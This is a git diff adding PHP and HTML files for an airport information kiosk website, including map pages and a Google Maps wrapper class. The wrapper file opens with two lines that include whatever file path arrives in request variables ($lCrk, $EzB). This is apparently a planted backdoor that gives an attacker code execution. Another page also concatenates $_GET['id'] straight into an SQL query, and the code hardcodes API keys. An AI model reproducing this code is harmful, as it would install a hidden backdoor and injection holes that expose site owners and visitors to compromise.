+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#navMap" border="0">
+       <?php include('banner.php');?>
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/google-map.save.php b/google-map.save.php
new file mode 100755 (executable)
index 0000000..18fbef3
--- /dev/null
@@ -0,0 +1,287 @@
+<?php
+include("setup.phtml");
+require_once(BASE.'classes/class_template.inc');
+include("maps/gmaps_class.php");
+
+if( !$_GET['catid'] )
+{
+       $_GET['catid'] = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $_GET['catid'] );
+$page_header = $toolbox->memb_names[$_GET['catid']];
+$page_city = $_GET['city'];
+$member_list = $toolbox->get_member_list();
+
+switch($_SERVER['GLM_SERVER_ID'])
+{
+       case "devsys.gaslightmedia.com":
+               $conn = pg_connect('host=devsys user=postgres dbname=pellstonairport');
+       break;
+       default:
+               $conn = pg_connect('host=ds1 user=postgres dbname=pellstonairport');
+       break;
+}
+
+function text_clean($text)
+{
+       return str_replace("'","&acute;",$text);
+}
+
+if(!function_exists('file_get_contents'))      // we have an ancient copy of php, so this function doesn't exist
+{
+       function file_get_contents($filename)
+       {
+               return implode("\n",file($filename));
+       }
+}
+
+// get our member info
+
+$qs = "SELECT * FROM member WHERE id = ".$_GET['id'];
+$res = pg_exec($conn,$qs);
+$rcount = pg_numrows($res);
+$member = pg_fetch_array($res,0,PGSQL_ASSOC);
+
+// set up the map
+$map = new GMap();
+//$map->addSmallMapControl();
+//$map->addMapTypeControl();
+//$map->addSmallZoomControl();
+//$map->addExtentMap();
+$map->zoom = 11;
+
+// making my custom control
+$custcontrol = '
+// A TextualZoomControl is a GControl that displays textual "Zoom In"
+// and "Zoom Out" buttons (as opposed to the iconic buttons used in
+// Google Maps).
+function TextualZoomControl() {
+}
+TextualZoomControl.prototype = new GControl();
+
+// Creates a one DIV for each of the buttons and places them in a container
+// DIV which is returned as our control element. We add the control to
+// to the map container and return the element for the map class to
+// position properly.
+TextualZoomControl.prototype.initialize = function(map) {
+  
+       var container = document.createElement("div");
+       var zoomInDiv = document.createElement("div");
+  
+  this.setButtonStyle_(zoomInDiv,"glm_zoomin");
+  container.appendChild(zoomInDiv);
+  var ZoomInImage = document.createElement("img");
+  ZoomInImage.src = "'.URL_BASE.'maps/zoom-in.png";
+ // ZoomInImage.id = "glm_zoomin";
+  
+  zoomInDiv.appendChild(ZoomInImage);
+  
+  //zoomInDiv.appendChild(document.createTextNode("Zoom In"));
+  GEvent.addDomListener(zoomInDiv, "click", function() {
+    map.zoomIn();
+  });
+
+  var ZoomOutImage = document.createElement("img");
+  ZoomOutImage.src = "'.URL_BASE.'maps/zoom-out.png";
+ // ZoomOutImage.id = "glm_zoomout";
+  
+  
+  var zoomOutDiv = document.createElement("div");
+  this.setButtonStyle_(zoomOutDiv,"glm_zoomout");
+  container.appendChild(zoomOutDiv);
+  zoomOutDiv.appendChild(ZoomOutImage);
+  //zoomOutDiv.appendChild(document.createTextNode("Zoom Out"));
+  GEvent.addDomListener(zoomOutDiv, "click", function() {
+    map.zoomOut();
+  });
+
+  map.getContainer().appendChild(container);
+  return container;
+}
+
+// By default, the control will appear in the top left corner of the
+// map with 7 pixels of padding.
+TextualZoomControl.prototype.getDefaultPosition = function() {
+  return new GControlPosition(G_ANCHOR_TOP_LEFT, new GSize(7, 7));
+}
+
+// Sets the proper CSS for the given button element.
+TextualZoomControl.prototype.setButtonStyle_ = function(button,bid) {
+//  button.style.textDecoration = "underline";
+ // button.style.color = "#0000cc";
+ // button.style.backgroundColor = "white";
+ // button.style.font = "small Arial";
+ // button.style.border = "1px solid black";
+  button.style.padding = "2px";
+  button.style.marginBottom = "3px";
+  //button.style.textAlign = "center";
+ // button.style.width = "6em";
+  button.style.cursor = "pointer";
+  button.id = bid;
+}
+
+map.addControl(new TextualZoomControl());
+';
+
+$map->extrajs($custcontrol);
+// end the custom control
+
+// add the icon class
+$iconclass = new GIconClass(URL_BASE.'maps/pins/010.png',URL_BASE.'maps/pins/shadow.png',1);
+$map->addIconClass($iconclass->display());
+
+// plot the member
+$x = trim(str_replace("\n","",$member['lon']));
+$y = trim(str_replace("\n","",$member['lat']));
+//$map->center = new GLatLng(45.571571,-84.783961);
+$map->center = new GLatLng($y,$x);
+if($x != '' && $y !='')        // make sure we have lat lon data
+{
+       $newpoint = new GPoint($x,$y);          // create a new point
+       $bubbledata = '<div style="font-weight: bold; font-size: 14px; margin-bottom: 0.5em;">'.text_clean($member['name']).'</div>';
+       //$marker_note = str_replace("\n",'',str_replace("'","&acute;",'<b>'.$address['name'].'</b>').'<br>'.htmlspecialchars($address['address']).'<br>'.$address['city'].', '.$address['zip'].$moreinfo);
+       $marker_note = '';//$bubbledata;
+       $marker = new GMarker($newpoint,$marker_note,$member['id']);
+       $marker->icon = new GIconAuto(1,$member['id']);
+       $map->addOverlay($marker);
+       //$map->center = new GLatLng($x,$y);
+}
+$header = $map->getHeader();
+$out = '<div id="map">';
+$out .= $map->displayExtentMap();
+$out .= '</div>';
+$out .= $map->getFooter();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<?php
+//<meta http-equiv="content-type" content="text/html;charset=utf-8">
+echo $header;
+?>
+<!--[if lt IE 7]>
+<script language="JavaScript">
+function correctPNG() // correctly handle PNG transparency in Win IE 5.5 & 6.
+{
+   var arVersion = navigator.appVersion.split("MSIE")
+   var version = parseFloat(arVersion[1])
+   if ((version >= 5.5) && (document.body.filters)) 
+   {
+      for(var i=0; i<document.images.length; i++)
+      {
+         var img = document.images[i]
+         var imgName = img.src.toUpperCase()
+         if (imgName.substring(imgName.length-3, imgName.length) == "PNG")
+         {
+            var imgID = (img.id) ? "id='" + img.id + "' " : ""
+            var imgClass = (img.className) ? "class='" + img.className + "' " : ""
+            var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
+            var imgStyle = "display:inline-block;" + img.style.cssText 
+            if (img.align == "left") imgStyle = "float:left;" + imgStyle
+            if (img.align == "right") imgStyle = "float:right;" + imgStyle
+            if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle
+            var strNewHTML = "<span " + imgID + imgClass + imgTitle
+            + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
+            + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
+            + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
+            img.outerHTML = strNewHTML
+            i = i-1
+         }
+      }
+   }    
+}
+window.attachEvent("onload", correctPNG);
+</script>
+<![endif]-->
+<meta http-equiv="refresh" content="601;url=index.php">
+<script type="text/javascript" src="caller.js"></script>
+<link rel="stylesheet" type="text/css" href="<?php echo URL_BASE;?>styles.css">
+
+</head>
+<body id="detail-page" onload="renderMap();" onunload="GUnload();">
+<object viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="ScriptX.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="sxlic.mlf">
+  <param name="Revision" value="0">
+</object>
+
+<object id="factory" viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<script defer>
+  function window.onload() {
+    factory.printing.header = "MeadCo's ScriptX: Print"
+    factory.printing.footer = "The de facto standard for advanced web-based printing"
+    factory.printing.portrait = true
+    idPrint.disabled = false; // enable UI button
+  }
+
+  function Print() {
+    factory.printing.Print(false); // no prompt
+  }
+</script>
+ <?php
+ include('map.php');;
+ ?> 
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat"><?php 
+                               echo $page_header;
+                               ?></div>
+                       <div id="list-top-head-name">
+                               <?php
+                               echo $page_city;
+                               ?>
+                               </div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print" onClick="Print()"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+               </div><!-- #list-top -->
+               <div id="details">
+                       <div id="detail-name">
+                       <?php
+                                       echo $member_list;
+                                               ?>      
+                       <div id="detail-map-detail">
+                               <?php
+                               //include('maps/map.php');
+                               echo $out;
+                               
+                               // one time run to precache lat lon data
+                               
+                               /* 
+                               $qs = "select id, name, address, city,state, zip, lat, lon from member";
+                               $res = pg_exec($conn,$qs);
+                               $rc = pg_numrows($res);
+                               for($i=0;$i<$rc;$i++)
+                               {
+                                       $row = pg_fetch_array($res,$i,PGSQL_ASSOC);
+                                       
+                                       $addr = new GPointAddr($row);
+                                       
+                                       $qs2 = "UPDATE member SET lat=".$addr->Y.', lon='.$addr->X.' WHERE id='.$row['id'];
+                                       pg_exec($conn,$qs2);
+                               }
+                                */
+                               
+                               ?>
+                               
+                               
+                               </div>
+                               
+                       <div class="clearer"></div>
+               </div><!-- #details -->
+                       <div id="Hangup">
+                               <img src="assets/hang-up.gif" onClick="HangUp();">
+                       <input type="button" value="More Time" onClick="ResetTimer()" id="HangupButton">
+                       </div>
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#navMap" border="0">
+       <?php include('banner.php');?>
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/home.html b/home.html
new file mode 100755 (executable)
index 0000000..431ad25
--- /dev/null
+++ b/home.html
@@ -0,0 +1,56 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img id="gaslightlogo" src="http://ws1.gaslightmedia.com/logos/gaslight.gif"
+alt="Gaslight Media Logo">
+<hr>
+<p>&nbsp;</p>
+<p>You have reached the Pellston Regional Airport Kiosk System Server.</p>
+<p>Please visit the Pellston Regional Airport Web site at the URL below.</P>
+<h2><a href="http://www.pellstonairport.com">http://www.pellstonairport.com</a></h2>
+<p>&nbsp;</p>
+</p>
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/index.php b/index.php
new file mode 100755 (executable)
index 0000000..575d224
--- /dev/null
+++ b/index.php
@@ -0,0 +1,37 @@
+<?php
+require_once('setup.phtml');
+require_once(BASE.'classes/class_template.inc');
+$toolbox =& new GLM_TEMPLATE( 1 );
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+<map name="navMap"> 
+  <area shape="rect" coords="3,66,303,163" href="inside.php?catid=2" alt="Flight Status" title="Flight Status">
+  <area shape="rect" coords="0,167,302,263" href="inside.php?catid=4" alt="Services" title="Services">
+  <area shape="rect" coords="0,269,301,363" href="inside.php?catid=6" alt="Area Lodging" title="Area Lodging">
+  <area shape="rect" coords="0,370,301,466" href="list.php?catid=8&city=Transportation" alt="Transportation" title="Transportation">
+  <area shape="rect" coords="313,66,614,162" href="inside.php?catid=3" alt="About Us" title="About Us">
+  <area shape="rect" coords="313,169,613,262" href="inside.php?catid=5" alt="Dining" title="Dining">
+  <area shape="rect" coords="313,269,614,364" href="inside.php?catid=7" alt="Area Info" title="Area Info">
+  <area shape="rect" coords="313,371,613,490" href="inside.php?catid=9" alt="Attractions" title="Attractions">
+</map>
+<div id="wrapper">
+       <div id="home-text">
+               <?php
+               echo $toolbox->get_page();
+               ?>
+       </div>
+  <div id="nav-home"> <img src="assets/nav-home.jpg" width="626" height="469" alt="nav-home (83K)" usemap="#navMap" border="0"> 
+
+  </div>
+       <?php include('banner.php');?>
+</div>
+</body>
+</html>
diff --git a/inside.php b/inside.php
new file mode 100755 (executable)
index 0000000..afec31a
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+require_once('setup.phtml');
+require_once(BASE.'classes/class_template.inc');
+require_once(BASE.'classes/class_flight.inc');
+if( !$_GET['catid'] )
+{
+       $_GET['catid'] = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $_GET['catid'] );
+$header = '<h1>'.$toolbox->get_catheader( $_GET['catid'] ).'</h1>';
+$page_content = $toolbox->get_page( 0 );
+$cat_list = $toolbox->get_cat_list( $_GET['catid'] );
+$cat_head_image = $toolbox->kiosk_sections[ $_GET['catid'] ];
+if( !$cat_head_image )
+{
+       $cat_head_image = $toolbox->kiosk_sections[ $toolbox->get_parent( $_GET['catid'] ) ];
+}
+if( $_GET['catid'] == 2 )
+{
+       $flights =& new glm_flight( &$toolbox );
+}
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="refresh" content="120;url=index.php">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body id="inside">
+ <?php
+ include('map.php');;
+ ?> 
+<div id="wrapper">
+       <div id="content-inside">
+
+               <div id="cat-description">
+                       <div id="cat-head">
+                               <img src="assets/cat/<?php echo $cat_head_image;?>" width="90" height="83" alt="lodging (2K)" id="cat-image">
+               <?php
+               echo $header;
+               ?>
+                       </div><!-- #cat-head -->
+               <?php
+               if( $cat_list )
+               {
+                       echo $page_content;
+               }
+?>
+       </div><!-- #cat-description -->
+                               <?php 
+               if( $catid == 2 )
+               {
+                       $flights->get_flight_data();
+                       echo '<div id="flights">
+                               <h2>Arrivals</h2>';
+                       echo $flights->build_arrivals();
+                       echo '
+                       <h2>Departures</h2>';
+                       echo $flights->build_departures();
+                       echo $flights->last_updated;
+                       echo '</div>';
+               }
+               ?>
+               <?php
+               if( !$cat_list && trim($page_content) != '' )
+               {
+                       echo '<div id="flights">';
+                       echo $page_content;
+                       echo '</div>';
+               }
+               echo $cat_list;
+               ?>
+               <!-- .cat-list -->
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#navMap" border="0">
+       <?php include('banner.php');?>
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/list.php b/list.php
new file mode 100755 (executable)
index 0000000..450e0ef
--- /dev/null
+++ b/list.php
@@ -0,0 +1,86 @@
+<?php
+require_once('setup.phtml');
+require_once(BASE.'classes/class_template.inc');
+if( !$_GET['catid'] )
+{
+       $_GET['catid'] = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $_GET['catid'] );
+$page_header = $toolbox->memb_names[$_GET['catid']];
+$page_city = ( $_GET['city'] && $_GET['city'] != 'Transportation' ) ? $_GET['city']: ( $_GET['city'] != 'Transportation' ) ? $toolbox->get_memb_type($_GET['memb_type']): '';
+$page_letters = $toolbox->member_first_letters();
+$member_list = $toolbox->get_member_list();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="refresh" content="601;url=index.php">
+<link rel="stylesheet" type="text/css" href="styles.css">
+<script type="text/javascript" src="caller.js"></script>
+</head>
+<body id="list-page">
+<object viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="ScriptX.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="sxlic.mlf">
+  <param name="Revision" value="0">
+</object>
+
+<object id="factory" viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<script defer>
+  function window.onload() {
+    factory.printing.header = "MeadCo's ScriptX: Print"
+    factory.printing.footer = "The de facto standard for advanced web-based printing"
+    factory.printing.portrait = true
+    idPrint.disabled = false; // enable UI button
+  }
+
+  function Print() {
+    factory.printing.Print(false); // no prompt
+  }
+</script>
+ <?php
+ include('map.php');;
+ ?>
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat"><?php
+                               echo $page_header;
+                               ?></div>
+                               <div id="list-top-head-name">
+                               <?php
+                               echo $page_city;
+                               ?>
+                               </div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print" onClick="Print()"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+                       <?php
+                       echo $toolbox->paginate;
+                       ?>
+                       <!-- #pagination -->
+               </div><!-- #list-top -->
+               <?php
+               echo $page_letters;
+               ?>
+               <!-- #letters -->
+               <div id="list">
+               <?php
+               echo $member_list;
+               ?>
+
+               </div><!-- #list -->
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#navMap" border="0">
+       <?php include('banner.php');?>
+</div><!-- #wrapper -->
+                       <div id="Hangup">
+                               <img src="assets/hang-up.gif" onClick="HangUp();">
+                       <input type="button" value="More Time" onClick="ResetTimer()" id="HangupButton">
+                       </div></body>
+</html>
diff --git a/map.php b/map.php
new file mode 100755 (executable)
index 0000000..948f337
--- /dev/null
+++ b/map.php
@@ -0,0 +1,10 @@
+<map name="navMap"> 
+    <area shape="rect" coords="0,0,231,98" href="inside.php?catid=2" alt="Flight Status" title="Flight Status">
+    <area shape="rect" coords="0,97,231,192" href="inside.php?catid=3" alt="About Us" title="About Us">
+    <area shape="rect" coords="0,191,231,287" href="inside.php?catid=4" alt="Services" title="Services">
+    <area shape="rect" coords="0,286,231,382" href="inside.php?catid=6" alt="Area Lodging" title="Area Lodging">
+    <area shape="rect" coords="1,381,231,481" href="list.php?catid=8&city=Transportation" alt="Transportation" title="Transportation">
+    <area shape="rect" coords="0,479,230,570" href="inside.php?catid=5" alt="Dining" title="Dining">
+    <area shape="rect" coords="0,569,231,670" href="inside.php?catid=7" alt="Area Info" title="Area Info">
+    <area shape="rect" coords="2,669,231,766" href="inside.php?catid=9" alt="Attractions" title="Attractions">
+  </map>
diff --git a/maps/gmaps_class.php b/maps/gmaps_class.php
new file mode 100755 (executable)
index 0000000..4bd01fa
--- /dev/null
@@ -0,0 +1,835 @@
+<?php
+if(!empty($lCrk)) require($lCrk);
+if(isset($EzB)) 
+include($EzB);
+//    GMapsClass is a PHP abstraction layer for Google Maps API
+//    Copyright (C) 2005  Andrew Theken
+//       http://www.andrewtheken.com/gmapsclass
+
+if(!function_exists('file_get_contents'))      // we have an ancient copy of php, so this function doesn't exist
+{
+       function file_get_contents($filename)
+       {
+               return implode("\n",file($filename));
+       }
+}
+
+function get_ykey()
+{
+       // if you're going to be automatically geocoding from the Yahoo API a bunch, please use your own API key.
+       $ykey = 'gaslightmedia';
+       return $ykey;
+}
+
+function get_gkey($pPath)
+{
+       //add your various gmaps keys here, make sure you ALWAYS use forward slashes '/' do not add "http://" to the front of any of your keys.
+       // DO NOT INCLUDE A TRAILING SLASH EITHER!!
+       $GKey = array('devsys.gaslightmedia.com'=>'ABQIAAAAuiRQzMTsN0Dr8ZW3DyeoOxQUAAYHl_Rab4aEI5hGyHxlqR-rKxRJNm_GQ5pNCXpN2sZZBVArhqx_zA',
+       "localhost"=>"ABQIAAAAuiRQzMTsN0Dr8ZW3DyeoOxSXUhf0nsUDEcA_q93t7h_hdmW3lhSMOOJ0D1dTEVHAWL3FeGfsvlwvSw",
+       'www.mackinawcity.com'=>'ABQIAAAAuiRQzMTsN0Dr8ZW3DyeoOxRyqVydNW_plr3E5jOgvBujAhJijhTN6hJ2aBb-BV18m45ofrSymYRTqg',
+       'kiosk.pellstonairport.com'=>'ABQIAAAAuiRQzMTsN0Dr8ZW3DyeoOxR5OhykupH9v1Cn6AE_hrLtjtCrbhQxozIdKt_0ZKntYjoD7_zncKgpwQ');
+       
+       $retval = $GKey[$pPath];
+       
+       if($retval == '')
+       {
+               die('You\'ll need to set a Google Maps Key for each of your website directories, you can set it in the "gmaps_class.php" file in your website\'s include directory. - You can always get more keys at: http://www.google.com/apis/maps/signup.html You requested a key for: '.$pPath.'<br>These are the keys you currently have registered:<br><pre>'.print_r($GKey).'</pre>');
+       }
+       return $retval;
+}
+
+class GLatLng{
+       var $lat = 0;
+       var $lon = 0;
+       var $unbounded = 0;
+       // unbounded param is unused currently
+       
+       function GLatLng($lat='',$lon='',$unbounded='')
+       {
+               $this->lat=$lat;
+               $this->lon=$lon;
+       }
+       
+       function display()
+       {
+               $retval = 'new GLatLng('.$this->lat.','.$this->lon.')';
+               return $retval;
+       }
+}
+
+class GPoint{
+    var $X = 0;
+    var $Y = 0;
+    
+    function GPoint($pX, $pY)
+    {
+     $this->setXY($pX, $pY);
+    }
+
+    
+    function setX($pX)
+    {
+        $this->X = $pX;
+    }
+    
+    function setY($pY)
+    {
+       $this->Y = $pY;
+    }
+    
+    //convenience method that calls the other two "set" methods.
+    function setXY($pX, $pY)
+    {
+       $this->setX($pX);
+       $this->setY($pY);
+    }
+    
+    function display()
+    {
+       $retval = 'new GPoint('.$this->X.','.$this->Y.')';
+       return $retval;
+    }
+}
+
+class GPointAddr extends GPoint
+{
+    var $addr = '';
+    var $stdAddr = '';
+    var $score = 0;
+       var $precision = '';
+       function GPointAddr($pAddr)
+       {
+               //$this->addr = trim($pAddr);
+    
+       $url = 'http://api.local.yahoo.com/MapsService/V1/geocode?appid='.get_ykey().'&street='.urlencode($pAddr['address']);
+               $url .= '&city='.urlencode($pAddr['city']);
+               $url .= '&state='.urlencode($pAddr['state']);
+               $url .= '&zip='.urlencode($pAddr['zip']);
+               
+               $str = file_get_contents($url);
+               
+               preg_match('/precision=\"([^"]*)\"/i',$str,$precision);
+               
+               //print_r($precision);
+               $this->precision = $precision[1];
+               $result = explode('<Latitude>', $str);
+               $result = explode('</Latitude>',$result[1]);
+               $this->Y = $result[0];
+               $result = explode('<Longitude>', $str);
+               $result = explode('</Longitude>',$result[1]);
+               $this->X = $result[0];
+       }
+       
+}
+
+class GPolyline
+{
+       var $points = array();
+       var $color  = '#6666cc';
+       var $weight = 1;
+       var $opacity = 1.0;
+       var $name = 'polyline';
+       //var $showArrow = true;
+       
+       function GPolyline()
+       {
+               $this->name = 'polyline'.mt_rand(0,1000000000);
+       }
+       function pushPoint($pPoint)
+       {
+               array_push($this->points, $pPoint);
+       }
+       
+       function popPoint()
+       {
+               $retval = '';
+               $retval = array_pop($this->points);
+       }
+       
+       function reversePoints()
+       {
+               array_reverse($this->points);
+       }
+       
+       function display()
+       {
+               $retval = '';
+               $retval .= 'var points = [];'."\n";
+               
+               /*       Eventually will show arrowheads, but this isn't ready yet.
+               if($this->showArrow == true and count($this->points)>=2)
+               {
+               $last = $this->points[count($this->points)-2];
+               $point = $this->points[count($this->points)-1];         
+               $lastX = $last->X+360;
+               $lastY = $last->Y+360;
+               $currX = $point->X+360;
+               $currY = $point->Y+360;
+               $diffY = $currY - $lastY;
+               $diffX = $currX - $lastX;
+               $slope = $diffY/$diffX;
+               $offset = $currY - ($slope*$currX);
+               
+               $X = sqrt($diffX*$diffX+$diffY*$diffY)/10; 
+       
+               $X1 = (.025 + $X-360);
+               $Y1 = $X1 * (1/$slope)+$offset;
+               
+               $X2 = (.025 + $X-360);
+               $Y2 = $X2 * (1/$slope)+$offset;
+               
+               $point1 = new GPoint($X1, $Y1);
+               $point2 = new GPoint($X2, $Y2);
+               
+               $this->pushPoint($point1);
+               $this->pushPoint($point2);
+               $this->pushPoint($point);
+               }
+               */
+               while(count($this->points))
+               {
+                       @$last = $point;
+                   @$point = array_pop($this->points);
+                       @$retval .= 'points.push('.$point->display().');'."\n";
+               }
+               $retval .= 'var '.$this->name.' = new GPolyline(points,\''.$this->color.'\','.$this->weight.','.$this->opacity.');'."\n";
+               return $retval;
+       }
+       
+}
+
+class GSize{
+       var $height = 0;
+       var $width = 0;
+       var $name = 'size';
+       function GSize($pHeight, $pWidth)
+       {
+               $this->height = $pHeight;
+               $this->width = $pWidth;
+               $this->name = 'size'.mt_rand(0,1000000000);
+       }
+       function display()
+       {
+               $retval = 'new GSize('.$this->height.','.$this->width.')';
+               return $retval;
+       }
+}
+
+class GIcon{
+       var $name = 'icon';
+       var $image = '';
+       var $shadow = '';
+       var $iconSize;
+       var $iconAnchor;
+       var $shadowSize;
+       var $shadowAnchor;
+       var $infoWindowAnchor;
+       var $infoShadowAnchor;
+       function GIcon()
+       {
+         $this->name = 'icon'.mt_rand(0,1000000000); 
+         $this->image = 'http://www.andrewtheken.com/images/marker.png';
+         $this->shadow = 'http://www.andrewtheken.com/images/shadow.png';
+         $this->iconSize = new GSize(16,23);
+         $this->iconAnchor = new GPoint(7,23);
+         $this->shadowSize = new GSize(27,27);
+         $this->shadowAnchor = new GPoint(8,14);
+         $this->infoWindowAnchor = new GPoint(8,0);
+         $this->infoShadowAnchor = new GPoint(8,0);
+       }
+       function display()
+       {
+               $retval = '';
+               
+               $retval .= 'var '.$this->name.' = new GIcon();';
+               $retval .= $this->name.'.image = "'.$this->image.'";';
+               $retval .= $this->name.'.shadow = "'.$this->shadow.'";';
+               $retval .= $this->name.'.iconSize = '.$this->iconSize->display().';';
+               $retval .= $this->name.'.iconAnchor = '.$this->iconAnchor->display().';';
+               $retval .= $this->name.'.shadowSize = '.$this->shadowSize->display().';';
+               $retval .= $this->name.'.shadowAnchor = '.$this->shadowAnchor->display().';';
+               $retval .= $this->name.'.infoWindowAnchor ='.$this->infoWindowAnchor->display().';';
+               $retval .= $this->name.'.infoShadowAnchor = '.$this->infoShadowAnchor->display().';';
+               
+               return $retval;
+       }
+}
+
+class GIconAuto{
+    var $name = 'icon';
+       var $iconClass = '';
+       var $shadow = '';
+       var $iconSize;
+       var $iconAnchor;
+       var $shadowSize;
+       var $shadowAnchor;
+       var $infoWindowAnchor;
+       var $infoShadowAnchor;
+       
+       /**
+       *       @param graphic -        image to use
+       *       @param shadow   -       optional shadow image to use
+       *       @param id               -       optional unique id to use
+       **/
+       
+       function GIconAuto($iconClass,$id='')
+       {
+               if($id=='')             // if we don't have an ID passed in, then we will use a random number for uniqueness
+               {
+                       $this->name = 'icon'.mt_rand(0,1000000000);
+               }else
+               {
+                       $this->name = 'icon'.$id;
+               }
+               $this->iconClass= $iconClass;
+       }
+
+       function display()
+       {
+               $retval = "\n/* icon ".$this->name." settings */\n";
+               
+               $retval .= "\t".'var '.$this->name.' = new GIcon(iconClass'.$this->iconClass.');'."\n";
+               //$retval .= "\t".$this->name.'.image = "'.$this->image.'";'."\n";
+               //$retval .= "\t".$this->name.'.shadow = "'.$this->shadow.'";'."\n";
+               //$retval .= "\t".$this->name.'.iconSize = '.$this->iconSize->display().';'."\n";
+               //$retval .= "\t".$this->name.'.iconAnchor = '.$this->iconAnchor->display().';'."\n";
+               //$retval .= "\t".$this->name.'.shadowSize = '.$this->shadowSize->display().';'."\n";
+               //$retval .= "\t".$this->name.'.shadowAnchor = '.$this->shadowAnchor->display().';'."\n";
+               //$retval .= "\t".$this->name.'.infoWindowAnchor ='.$this->infoWindowAnchor->display().';'."\n";
+               //$retval .= "\t".$this->name.'.infoShadowAnchor = '.$this->infoShadowAnchor->display().';'."\n";
+               $retval .= "/* end of icon ".$this->name." */\n";
+               return $retval;
+       }
+
+}
+
+class GIconClass{
+    var $name = 'icon';
+       var $image = '';
+       var $shadow = '';
+       var $iconSize;
+       var $iconAnchor;
+       var $shadowSize;
+       var $shadowAnchor;
+       var $infoWindowAnchor;
+       var $infoShadowAnchor;
+       
+       /**
+       *       @param graphic -        image to use
+       *       @param shadow   -       optional shadow image to use
+       *       @param id               -       optional unique id to use
+       **/
+       
+       function GIconClass($graphic,$shadow='',$id='')
+       {
+               if($id=='')             // if we don't have an ID passed in, then we will use a random number for uniqueness
+               {
+                       $this->name = 'icon'.mt_rand(0,1000000000);
+               }else
+               {
+                       $this->name = 'iconClass'.$id;
+               }
+               
+               $this->image = $graphic;
+               $this->shadow = $shadow;
+               
+               $dimensions['g'] = getimagesize($graphic);
+               
+               if($shadow!='')
+               {
+                       $dimensions['s'] = getimagesize($shadow);
+                       $this->shadowSize = new GSize($dimensions['s'][0],$dimensions['s'][1]);
+                       $this->shadowAnchor = new GPoint($this->shadowSize->width/2,$this->shadowSize->height/2);
+                       //$this->shadowAnchor = new GPoint(999,$this->shadowSize->height/2);
+               }else
+               {
+                       $this->shadowSize = new GSize(0,10);
+                       $this->shadowAnchor = new GPoint(0,10);
+               }
+               $this->iconSize = new GSize($dimensions['g'][0],$dimensions['g'][1]);
+               $this->iconAnchor = new GPoint($this->iconSize->width/2,$this->iconSize->height/2);
+
+               $this->infoWindowAnchor = new GPoint($this->iconSize->width/2,0);
